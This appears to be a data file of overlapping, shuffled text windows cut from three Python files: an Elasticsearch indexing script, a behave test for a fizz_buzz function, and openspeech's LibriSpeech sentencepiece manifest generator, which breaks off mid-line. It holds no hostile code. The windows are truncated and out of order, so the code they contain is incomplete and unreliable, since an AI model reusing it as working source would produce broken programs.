[ "\"14\", \"15\"] }, { \"docID\" : \"14\", \"offsetlist\" : [\"2\", \"8\", \"27\", \"108\"]", "\"docID\" : \"3\", \"offsetlist\" : [\"3\", \"5\", \"14\", \"15\"] }, { \"docID\" :", ": \"the\", \"list\": [ { \"docID\" : \"3\", \"offsetlist\" : [\"3\", \"5\", \"14\",", "Elasticsearch es = Elasticsearch() entry = { \"word\" : \"the\", \"list\": [ {", "import Elasticsearch es = Elasticsearch() entry = { \"word\" : \"the\", \"list\": [", "<gh_stars>0 #!/usr/bin/env python from elasticsearch import Elasticsearch es = Elasticsearch() entry = {", "{ \"docID\" : \"14\", \"offsetlist\" : [\"2\", \"8\", \"27\", \"108\"] } ], }", "\"5\", \"14\", \"15\"] }, { \"docID\" : \"14\", \"offsetlist\" : [\"2\", \"8\", \"27\",", "es = Elasticsearch() entry = { \"word\" : \"the\", \"list\": [ { \"docID\"", "\"word\" : \"the\", \"list\": [ { \"docID\" : \"3\", \"offsetlist\" : [\"3\", \"5\",", "{ \"docID\" : \"3\", \"offsetlist\" : [\"3\", \"5\", \"14\", \"15\"] }, { \"docID\"", ": \"14\", \"offsetlist\" : [\"2\", \"8\", \"27\", \"108\"] } ], } es.delete(index=\"summary-index\", id=\"8babHoABsMW6PCgq_YhM\")", "#!/usr/bin/env python from elasticsearch import Elasticsearch es = Elasticsearch() entry = { \"word\"", "\"list\": [ { \"docID\" : \"3\", \"offsetlist\" : [\"3\", \"5\", \"14\", \"15\"] },", "\"the\", \"list\": [ { \"docID\" : \"3\", \"offsetlist\" : [\"3\", \"5\", \"14\", \"15\"]", "[ { \"docID\" : \"3\", \"offsetlist\" : [\"3\", \"5\", \"14\", \"15\"] }, {", "{ \"word\" : \"the\", \"list\": [ { \"docID\" : \"3\", \"offsetlist\" : [\"3\",", "from elasticsearch import Elasticsearch es = Elasticsearch() entry = { \"word\" : \"the\",", "= { \"word\" : \"the\", \"list\": [ { \"docID\" : \"3\", \"offsetlist\" :", "[\"2\", \"8\", \"27\", \"108\"] } ], } es.delete(index=\"summary-index\", id=\"8babHoABsMW6PCgq_YhM\") es.delete(index=\"summary-index\", id=\"8LaaHoABsMW6PCgqW4iw\") es.index(index=\"summary-index\", body=entry)", "elasticsearch import Elasticsearch es = Elasticsearch() entry = { \"word\" : \"the\", \"list\":", "\"15\"] }, { \"docID\" : \"14\", \"offsetlist\" : [\"2\", \"8\", \"27\", \"108\"] }", "entry = { \"word\" : \"the\", \"list\": [ { \"docID\" : \"3\", \"offsetlist\"", ": [\"2\", \"8\", \"27\", \"108\"] } ], } es.delete(index=\"summary-index\", id=\"8babHoABsMW6PCgq_YhM\") es.delete(index=\"summary-index\", id=\"8LaaHoABsMW6PCgqW4iw\") es.index(index=\"summary-index\",", "= Elasticsearch() entry = { \"word\" : \"the\", \"list\": [ { \"docID\" :", "python from elasticsearch import Elasticsearch es = Elasticsearch() entry = { \"word\" :", ": [\"3\", \"5\", \"14\", \"15\"] }, { \"docID\" : \"14\", \"offsetlist\" : [\"2\",", "}, { \"docID\" : \"14\", \"offsetlist\" : [\"2\", \"8\", \"27\", \"108\"] } ],", ": \"3\", \"offsetlist\" : [\"3\", \"5\", \"14\", \"15\"] }, { \"docID\" : \"14\",", "\"14\", \"offsetlist\" : [\"2\", \"8\", \"27\", \"108\"] } ], } es.delete(index=\"summary-index\", id=\"8babHoABsMW6PCgq_YhM\") es.delete(index=\"summary-index\",", "\"offsetlist\" : [\"3\", \"5\", \"14\", \"15\"] }, { \"docID\" : \"14\", \"offsetlist\" :", "\"offsetlist\" : [\"2\", \"8\", \"27\", \"108\"] } ], } es.delete(index=\"summary-index\", id=\"8babHoABsMW6PCgq_YhM\") es.delete(index=\"summary-index\", id=\"8LaaHoABsMW6PCgqW4iw\")", "[\"3\", \"5\", \"14\", \"15\"] }, { \"docID\" : \"14\", \"offsetlist\" : [\"2\", \"8\",", "\"docID\" : \"14\", \"offsetlist\" : [\"2\", \"8\", \"27\", \"108\"] } ], } es.delete(index=\"summary-index\",", "\"3\", \"offsetlist\" : [\"3\", \"5\", \"14\", \"15\"] }, { \"docID\" : \"14\", \"offsetlist\"", "Elasticsearch() entry = { \"word\" : \"the\", \"list\": [ { \"docID\" : \"3\"," ]
[ "0: data[str(num)] = 'FizzBuzz' elif num % 5 == 0: data[str(num)] = 'Buzz'", "3) test run') def test_1_3(context): assert fizz_buzz(1, 3) == {'1':1, '2':2, '3':'Fizz'} @then(u'the", "when, then def fizz_buzz(since: int, until: int) -> dict: data = {} for", "'6':'Fizz'} @then(u'the fizz_buzz(14, 16) test run') def test_14_16(context): assert fizz_buzz(14, 16) == {'14':14,", "'FizzBuzz' elif num % 5 == 0: data[str(num)] = 'Buzz' elif num %", "= 'Buzz' elif num % 3 == 0: data[str(num)] = 'Fizz' else: data[str(num)]", "dict: data = {} for num in range(since, until+1): if num % 15", "def fizz_buzz(since: int, until: int) -> dict: data = {} for num in", "'5':'Buzz', '6':'Fizz'} @then(u'the fizz_buzz(14, 16) test run') def test_14_16(context): assert fizz_buzz(14, 16) ==", "== 0: data[str(num)] = 'Fizz' else: data[str(num)] = num return data @then(u'the fizz_buzz(1,", "in range(since, until+1): if num % 15 == 0: data[str(num)] = 'FizzBuzz' elif", "= 'Fizz' else: data[str(num)] = num return data @then(u'the fizz_buzz(1, 3) test run')", "{'1':1, '2':2, '3':'Fizz'} @then(u'the fizz_buzz(4, 6) test run') def test_4_6(context): assert fizz_buzz(4, 6)", "== {'4':4, '5':'Buzz', '6':'Fizz'} @then(u'the fizz_buzz(14, 16) test run') def test_14_16(context): assert fizz_buzz(14,", "% 3 == 0: data[str(num)] = 'Fizz' else: data[str(num)] = num return data", "def test_4_6(context): assert fizz_buzz(4, 6) == {'4':4, '5':'Buzz', '6':'Fizz'} @then(u'the fizz_buzz(14, 16) test", "elif num % 5 == 0: data[str(num)] = 'Buzz' elif num % 3", "elif num % 3 == 0: data[str(num)] = 'Fizz' else: data[str(num)] = num", "assert fizz_buzz(4, 6) == {'4':4, '5':'Buzz', '6':'Fizz'} @then(u'the fizz_buzz(14, 16) test run') def", "until: int) -> dict: data = {} for num in range(since, until+1): if", "range(since, until+1): if num % 15 == 0: data[str(num)] = 'FizzBuzz' elif num", "data = {} for num in range(since, until+1): if num % 15 ==", "fizz_buzz(1, 3) test run') def test_1_3(context): assert fizz_buzz(1, 3) == {'1':1, '2':2, '3':'Fizz'}", "{} for num in range(since, until+1): if num % 15 == 0: data[str(num)]", "given, when, then def fizz_buzz(since: int, until: int) -> dict: data = {}", "== 0: data[str(num)] = 'Buzz' elif num % 3 == 0: data[str(num)] =", "@then(u'the fizz_buzz(1, 3) test run') def test_1_3(context): assert fizz_buzz(1, 3) == {'1':1, '2':2,", "@then(u'the fizz_buzz(4, 6) test run') def test_4_6(context): assert fizz_buzz(4, 6) == {'4':4, '5':'Buzz',", "15 == 0: data[str(num)] = 'FizzBuzz' elif num % 5 == 0: data[str(num)]", "3 == 0: data[str(num)] = 'Fizz' else: data[str(num)] = num return data @then(u'the", "behave import given, when, then def fizz_buzz(since: int, until: int) -> dict: data", "test_4_6(context): assert fizz_buzz(4, 6) == {'4':4, '5':'Buzz', '6':'Fizz'} @then(u'the fizz_buzz(14, 16) test run')", "run') def test_4_6(context): assert fizz_buzz(4, 6) == {'4':4, '5':'Buzz', '6':'Fizz'} @then(u'the fizz_buzz(14, 16)", "0: data[str(num)] = 'Fizz' else: data[str(num)] = num return data @then(u'the fizz_buzz(1, 3)", "fizz_buzz(1, 3) == {'1':1, '2':2, '3':'Fizz'} @then(u'the fizz_buzz(4, 6) test run') def test_4_6(context):", "from behave import given, when, then def fizz_buzz(since: int, until: int) -> dict:", "@then(u'the fizz_buzz(14, 16) test run') def test_14_16(context): assert fizz_buzz(14, 16) == {'14':14, '15':'FizzBuzz',", "import given, when, then def fizz_buzz(since: int, until: int) -> dict: data =", "test run') def test_1_3(context): assert fizz_buzz(1, 3) == {'1':1, '2':2, '3':'Fizz'} @then(u'the fizz_buzz(4,", "else: data[str(num)] = num return data @then(u'the fizz_buzz(1, 3) test run') def test_1_3(context):", "= num return data @then(u'the fizz_buzz(1, 3) test run') def test_1_3(context): assert fizz_buzz(1,", "fizz_buzz(4, 6) == {'4':4, '5':'Buzz', '6':'Fizz'} @then(u'the fizz_buzz(14, 16) test run') def test_14_16(context):", "assert fizz_buzz(1, 3) == {'1':1, '2':2, '3':'Fizz'} @then(u'the fizz_buzz(4, 6) test run') def", "'2':2, '3':'Fizz'} @then(u'the fizz_buzz(4, 6) test run') def test_4_6(context): assert fizz_buzz(4, 6) ==", "num % 15 == 0: data[str(num)] = 'FizzBuzz' elif num % 5 ==", "def test_1_3(context): assert fizz_buzz(1, 3) == {'1':1, '2':2, '3':'Fizz'} @then(u'the fizz_buzz(4, 6) test", "== {'1':1, '2':2, '3':'Fizz'} @then(u'the fizz_buzz(4, 6) test run') def test_4_6(context): assert fizz_buzz(4,", "for num in range(since, until+1): if num % 15 == 0: data[str(num)] =", "data[str(num)] = 'Buzz' elif num % 3 == 0: data[str(num)] = 'Fizz' else:", "test run') def test_4_6(context): assert fizz_buzz(4, 6) == {'4':4, '5':'Buzz', '6':'Fizz'} @then(u'the fizz_buzz(14,", "int, until: int) -> dict: data = {} for num in range(since, until+1):", "6) == {'4':4, '5':'Buzz', '6':'Fizz'} @then(u'the fizz_buzz(14, 16) test run') def test_14_16(context): assert", "data[str(num)] = num return data @then(u'the fizz_buzz(1, 3) test run') def test_1_3(context): assert", "num % 5 == 0: data[str(num)] = 'Buzz' elif num % 3 ==", "-> dict: data = {} for num in range(since, until+1): if num %", "== 0: data[str(num)] = 'FizzBuzz' elif num % 5 == 0: data[str(num)] =", "% 5 == 0: data[str(num)] = 'Buzz' elif num % 3 == 0:", "data[str(num)] = 'FizzBuzz' elif num % 5 == 0: data[str(num)] = 'Buzz' elif", "= 'FizzBuzz' elif num % 5 == 0: data[str(num)] = 'Buzz' elif num", "num % 3 == 0: data[str(num)] = 'Fizz' else: data[str(num)] = num return", "data[str(num)] = 'Fizz' else: data[str(num)] = num return data @then(u'the fizz_buzz(1, 3) test", "then def fizz_buzz(since: int, until: int) -> dict: data = {} for num", "0: data[str(num)] = 'Buzz' elif num % 3 == 0: data[str(num)] = 'Fizz'", "run') def test_1_3(context): assert fizz_buzz(1, 3) == {'1':1, '2':2, '3':'Fizz'} @then(u'the fizz_buzz(4, 6)", "fizz_buzz(14, 16) test run') def test_14_16(context): assert fizz_buzz(14, 16) == {'14':14, '15':'FizzBuzz', '16':16}", "6) test run') def test_4_6(context): assert fizz_buzz(4, 6) == {'4':4, '5':'Buzz', '6':'Fizz'} @then(u'the", "fizz_buzz(since: int, until: int) -> dict: data = {} for num in range(since,", "{'4':4, '5':'Buzz', '6':'Fizz'} @then(u'the fizz_buzz(14, 16) test run') def test_14_16(context): assert fizz_buzz(14, 16)", "return data @then(u'the fizz_buzz(1, 3) test run') def test_1_3(context): assert fizz_buzz(1, 3) ==", "int) -> dict: data = {} for num in range(since, until+1): if num", "'Fizz' else: data[str(num)] = num return data @then(u'the fizz_buzz(1, 3) test run') def", "if num % 15 == 0: data[str(num)] = 'FizzBuzz' elif num % 5", "until+1): if num % 15 == 0: data[str(num)] = 'FizzBuzz' elif num %", "= {} for num in range(since, until+1): if num % 15 == 0:", "test_1_3(context): assert fizz_buzz(1, 3) == {'1':1, '2':2, '3':'Fizz'} @then(u'the fizz_buzz(4, 6) test run')", "5 == 0: data[str(num)] = 'Buzz' elif num % 3 == 0: data[str(num)]", "3) == {'1':1, '2':2, '3':'Fizz'} @then(u'the fizz_buzz(4, 6) test run') def test_4_6(context): assert", "% 15 == 0: data[str(num)] = 'FizzBuzz' elif num % 5 == 0:", "'3':'Fizz'} @then(u'the fizz_buzz(4, 6) test run') def test_4_6(context): assert fizz_buzz(4, 6) == {'4':4,", "num in range(since, until+1): if num % 15 == 0: data[str(num)] = 'FizzBuzz'", "fizz_buzz(4, 6) test run') def test_4_6(context): assert fizz_buzz(4, 6) == {'4':4, '5':'Buzz', '6':'Fizz'}", "<gh_stars>1-10 from behave import given, when, then def fizz_buzz(since: int, until: int) ->", "'Buzz' elif num % 3 == 0: data[str(num)] = 'Fizz' else: data[str(num)] =", "data @then(u'the fizz_buzz(1, 3) test run') def test_1_3(context): assert fizz_buzz(1, 3) == {'1':1,", "num return data @then(u'the fizz_buzz(1, 3) test run') def test_1_3(context): assert fizz_buzz(1, 3)" ]
[ "files. Format: {audio_path}\\t{transcript}\\t{numerical_label} Args: vocab_size (int): size of subword vocab Returns: None \"\"\"", "TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.", "EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,", "the Software without restriction, including without limitation the rights # to use, copy,", "ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN", "person obtaining a copy # of this software and associated documentation files (the", "\" f\"--model_prefix={SENTENCEPIECE_MODEL_NAME} \" f\"--vocab_size={vocab_size} \" f\"--model_type={model_type} \" f\"--pad_id=0 \" f\"--bos_id=1 \" f\"--eos_id=2 \"", "of subword vocab Returns: None \"\"\" transcripts_collection = collect_transcripts(dataset_path) _prepare_tokenizer(transcripts_collection[0], vocab_size) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.model\", os.path.join(vocab_path,", "DEALINGS IN THE # SOFTWARE. import os import sentencepiece as spm import shutil", "os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.vocab\")) sp = spm.SentencePieceProcessor() sp.Load(os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) with open(manifest_file_path, 'w') as f: for", "THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import", "<NAME> and <NAME> and <NAME> # # Permission is hereby granted, free of", "enumerate(['train-960', 'dev-clean', 'dev-other', 'test-clean', 'test-other']): for transcript in transcripts_collection[idx]: audio_path, transcript = transcript.split('|')", "A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR", "SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #", "# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies", "for transcript in transcripts_collection[idx]: audio_path, transcript = transcript.split('|') text = \" \".join(sp.EncodeAsPieces(transcript)) label", "transcript = transcript.split('|') text = \" \".join(sp.EncodeAsPieces(transcript)) label = \" \".join([str(item) for item", "included in all # copies or substantial portions of the Software. # #", "OR OTHER DEALINGS IN THE # SOFTWARE. import os import sentencepiece as spm", "is hereby granted, free of charge, to any person obtaining a copy #", "persons to whom the Software is # furnished to do so, subject to", "conditions: # # The above copyright notice and this permission notice shall be", "INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A", "# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE", "OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,", "documentation files (the \"Software\"), to deal # in the Software without restriction, including", "to permit persons to whom the Software is # furnished to do so,", "ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT,", "or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED \"AS", "of charge, to any person obtaining a copy # of this software and", "transcripts_collection = collect_transcripts(dataset_path) _prepare_tokenizer(transcripts_collection[0], vocab_size) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.model\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.vocab\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.vocab\")) sp =", "\"\"\" input_file = 'spm_input.txt' model_type = 'unigram' with open(input_file, 'w') as f: for", "str, vocab_size: int) -> None: \"\"\" Generate manifest files. Format: {audio_path}\\t{transcript}\\t{numerical_label} Args: vocab_size", "idx, part in enumerate(['train-960', 'dev-clean', 'dev-other', 'test-clean', 'test-other']): for transcript in transcripts_collection[idx]: audio_path,", "(c) 2021 <NAME> and <NAME> and <NAME> # # Permission is hereby granted,", "so, subject to the following conditions: # # The above copyright notice and", "LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION", "in enumerate(['train-960', 'dev-clean', 'dev-other', 'test-clean', 'test-other']): for transcript in transcripts_collection[idx]: audio_path, transcript =", "copy # of this software and associated documentation files (the \"Software\"), to deal", "vocab_size): \"\"\" Prepare sentencepice tokenizer \"\"\" input_file = 'spm_input.txt' model_type = 'unigram' with", "None: \"\"\" Generate manifest files. Format: {audio_path}\\t{transcript}\\t{numerical_label} Args: vocab_size (int): size of subword", "to the following conditions: # # The above copyright notice and this permission", "2021 <NAME> and <NAME> and <NAME> # # Permission is hereby granted, free", "str, manifest_file_path: str, vocab_path: str, vocab_size: int) -> None: \"\"\" Generate manifest files.", "the Software. # # THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF", "(int): size of subword vocab Returns: None \"\"\" transcripts_collection = collect_transcripts(dataset_path) _prepare_tokenizer(transcripts_collection[0], vocab_size)", "and associated documentation files (the \"Software\"), to deal # in the Software without", "_prepare_tokenizer(train_transcripts, vocab_size): \"\"\" Prepare sentencepice tokenizer \"\"\" input_file = 'spm_input.txt' model_type = 'unigram'", "subword vocab Returns: None \"\"\" transcripts_collection = collect_transcripts(dataset_path) _prepare_tokenizer(transcripts_collection[0], vocab_size) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.model\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\"))", "THE # SOFTWARE. import os import sentencepiece as spm import shutil from typing", "'test-clean', 'test-other']): for transcript in transcripts_collection[idx]: audio_path, transcript = transcript.split('|') text = \"", "LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #", "vocab_size) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.model\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.vocab\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.vocab\")) sp = spm.SentencePieceProcessor() sp.Load(os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) with", "BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN", "sublicense, and/or sell # copies of the Software, and to permit persons to", "Software is # furnished to do so, subject to the following conditions: #", "{audio_path}\\t{transcript}\\t{numerical_label} Args: vocab_size (int): size of subword vocab Returns: None \"\"\" transcripts_collection =", "f\"--pad_id=0 \" f\"--bos_id=1 \" f\"--eos_id=2 \" f\"--unk_id=3 \" f\"--user_defined_symbols=<blank>\") def generate_manifest_files(dataset_path: str, manifest_file_path:", "# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR", "IN THE # SOFTWARE. import os import sentencepiece as spm import shutil from", "size of subword vocab Returns: None \"\"\" transcripts_collection = collect_transcripts(dataset_path) _prepare_tokenizer(transcripts_collection[0], vocab_size) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.model\",", "Format: {audio_path}\\t{transcript}\\t{numerical_label} Args: vocab_size (int): size of subword vocab Returns: None \"\"\" transcripts_collection", "CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT", "OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE", "all # copies or substantial portions of the Software. # # THE SOFTWARE", "and <NAME> and <NAME> # # Permission is hereby granted, free of charge,", "# MIT License # # Copyright (c) 2021 <NAME> and <NAME> and <NAME>", "def generate_manifest_files(dataset_path: str, manifest_file_path: str, vocab_path: str, vocab_size: int) -> None: \"\"\" Generate", "of the Software. # # THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY", "'w') as f: for idx, part in enumerate(['train-960', 'dev-clean', 'dev-other', 'test-clean', 'test-other']): for", "# copies of the Software, and to permit persons to whom the Software", "DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR", "import Tuple from openspeech.datasets.librispeech.preprocess.preprocess import collect_transcripts SENTENCEPIECE_MODEL_NAME = \"sp\" def _prepare_tokenizer(train_transcripts, vocab_size): \"\"\"", "vocab Returns: None \"\"\" transcripts_collection = collect_transcripts(dataset_path) _prepare_tokenizer(transcripts_collection[0], vocab_size) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.model\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.vocab\",", "permission notice shall be included in all # copies or substantial portions of", "License # # Copyright (c) 2021 <NAME> and <NAME> and <NAME> # #", "notice and this permission notice shall be included in all # copies or", "collect_transcripts(dataset_path) _prepare_tokenizer(transcripts_collection[0], vocab_size) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.model\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.vocab\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.vocab\")) sp = spm.SentencePieceProcessor() sp.Load(os.path.join(vocab_path,", "NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE", "f\"--vocab_size={vocab_size} \" f\"--model_type={model_type} \" f\"--pad_id=0 \" f\"--bos_id=1 \" f\"--eos_id=2 \" f\"--unk_id=3 \" f\"--user_defined_symbols=<blank>\")", "software and associated documentation files (the \"Software\"), to deal # in the Software", "WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT", "OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN", "CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE #", "model_type = 'unigram' with open(input_file, 'w') as f: for transcript in train_transcripts: f.write(f\"{transcript.split('|')[-1]}\\n\")", "SOFTWARE. import os import sentencepiece as spm import shutil from typing import Tuple", "and to permit persons to whom the Software is # furnished to do", "use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the", "the following conditions: # # The above copyright notice and this permission notice", "\" f\"--model_type={model_type} \" f\"--pad_id=0 \" f\"--bos_id=1 \" f\"--eos_id=2 \" f\"--unk_id=3 \" f\"--user_defined_symbols=<blank>\") def", "generate_manifest_files(dataset_path: str, manifest_file_path: str, vocab_path: str, vocab_size: int) -> None: \"\"\" Generate manifest", "LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND", "# furnished to do so, subject to the following conditions: # # The", "the Software, and to permit persons to whom the Software is # furnished", "rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell #", "SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import os", "f\"--eos_id=2 \" f\"--unk_id=3 \" f\"--user_defined_symbols=<blank>\") def generate_manifest_files(dataset_path: str, manifest_file_path: str, vocab_path: str, vocab_size:", "FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF", "merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to", "'test-other']): for transcript in transcripts_collection[idx]: audio_path, transcript = transcript.split('|') text = \" \".join(sp.EncodeAsPieces(transcript))", "OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING", "ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE", "import shutil from typing import Tuple from openspeech.datasets.librispeech.preprocess.preprocess import collect_transcripts SENTENCEPIECE_MODEL_NAME = \"sp\"", "f: for transcript in train_transcripts: f.write(f\"{transcript.split('|')[-1]}\\n\") spm.SentencePieceTrainer.Train(f\"--input={input_file} \" f\"--model_prefix={SENTENCEPIECE_MODEL_NAME} \" f\"--vocab_size={vocab_size} \" f\"--model_type={model_type}", "to do so, subject to the following conditions: # # The above copyright", "= 'spm_input.txt' model_type = 'unigram' with open(input_file, 'w') as f: for transcript in", "text = \" \".join(sp.EncodeAsPieces(transcript)) label = \" \".join([str(item) for item in sp.EncodeAsIds(transcript)]) f.write(f\"{audio_path}\\t{text}\\t{label}\\n\")", "OTHER DEALINGS IN THE # SOFTWARE. import os import sentencepiece as spm import", "transcripts_collection[idx]: audio_path, transcript = transcript.split('|') text = \" \".join(sp.EncodeAsPieces(transcript)) label = \" \".join([str(item)", "= 'unigram' with open(input_file, 'w') as f: for transcript in train_transcripts: f.write(f\"{transcript.split('|')[-1]}\\n\") spm.SentencePieceTrainer.Train(f\"--input={input_file}", "whom the Software is # furnished to do so, subject to the following", "CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH", "\"\"\" transcripts_collection = collect_transcripts(dataset_path) _prepare_tokenizer(transcripts_collection[0], vocab_size) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.model\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.vocab\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.vocab\")) sp", "f.write(f\"{transcript.split('|')[-1]}\\n\") spm.SentencePieceTrainer.Train(f\"--input={input_file} \" f\"--model_prefix={SENTENCEPIECE_MODEL_NAME} \" f\"--vocab_size={vocab_size} \" f\"--model_type={model_type} \" f\"--pad_id=0 \" f\"--bos_id=1 \"", "free of charge, to any person obtaining a copy # of this software", "'spm_input.txt' model_type = 'unigram' with open(input_file, 'w') as f: for transcript in train_transcripts:", "openspeech.datasets.librispeech.preprocess.preprocess import collect_transcripts SENTENCEPIECE_MODEL_NAME = \"sp\" def _prepare_tokenizer(train_transcripts, vocab_size): \"\"\" Prepare sentencepice tokenizer", "PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT", "copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software,", "manifest files. Format: {audio_path}\\t{transcript}\\t{numerical_label} Args: vocab_size (int): size of subword vocab Returns: None", "without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense,", "f\"{SENTENCEPIECE_MODEL_NAME}.model\")) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.vocab\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.vocab\")) sp = spm.SentencePieceProcessor() sp.Load(os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) with open(manifest_file_path, 'w') as", "is # furnished to do so, subject to the following conditions: # #", "Software. # # THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY", "as f: for idx, part in enumerate(['train-960', 'dev-clean', 'dev-other', 'test-clean', 'test-other']): for transcript", "to deal # in the Software without restriction, including without limitation the rights", "to any person obtaining a copy # of this software and associated documentation", "from openspeech.datasets.librispeech.preprocess.preprocess import collect_transcripts SENTENCEPIECE_MODEL_NAME = \"sp\" def _prepare_tokenizer(train_transcripts, vocab_size): \"\"\" Prepare sentencepice", "in all # copies or substantial portions of the Software. # # THE", "_prepare_tokenizer(transcripts_collection[0], vocab_size) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.model\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.vocab\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.vocab\")) sp = spm.SentencePieceProcessor() sp.Load(os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\"))", "OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #", "f\"{SENTENCEPIECE_MODEL_NAME}.vocab\")) sp = spm.SentencePieceProcessor() sp.Load(os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) with open(manifest_file_path, 'w') as f: for idx,", "THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN", "OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE", "with open(manifest_file_path, 'w') as f: for idx, part in enumerate(['train-960', 'dev-clean', 'dev-other', 'test-clean',", "FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE #", "SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES", "as f: for transcript in train_transcripts: f.write(f\"{transcript.split('|')[-1]}\\n\") spm.SentencePieceTrainer.Train(f\"--input={input_file} \" f\"--model_prefix={SENTENCEPIECE_MODEL_NAME} \" f\"--vocab_size={vocab_size} \"", "def _prepare_tokenizer(train_transcripts, vocab_size): \"\"\" Prepare sentencepice tokenizer \"\"\" input_file = 'spm_input.txt' model_type =", "open(manifest_file_path, 'w') as f: for idx, part in enumerate(['train-960', 'dev-clean', 'dev-other', 'test-clean', 'test-other']):", "Software, and to permit persons to whom the Software is # furnished to", "\" f\"--vocab_size={vocab_size} \" f\"--model_type={model_type} \" f\"--pad_id=0 \" f\"--bos_id=1 \" f\"--eos_id=2 \" f\"--unk_id=3 \"", "f\"--bos_id=1 \" f\"--eos_id=2 \" f\"--unk_id=3 \" 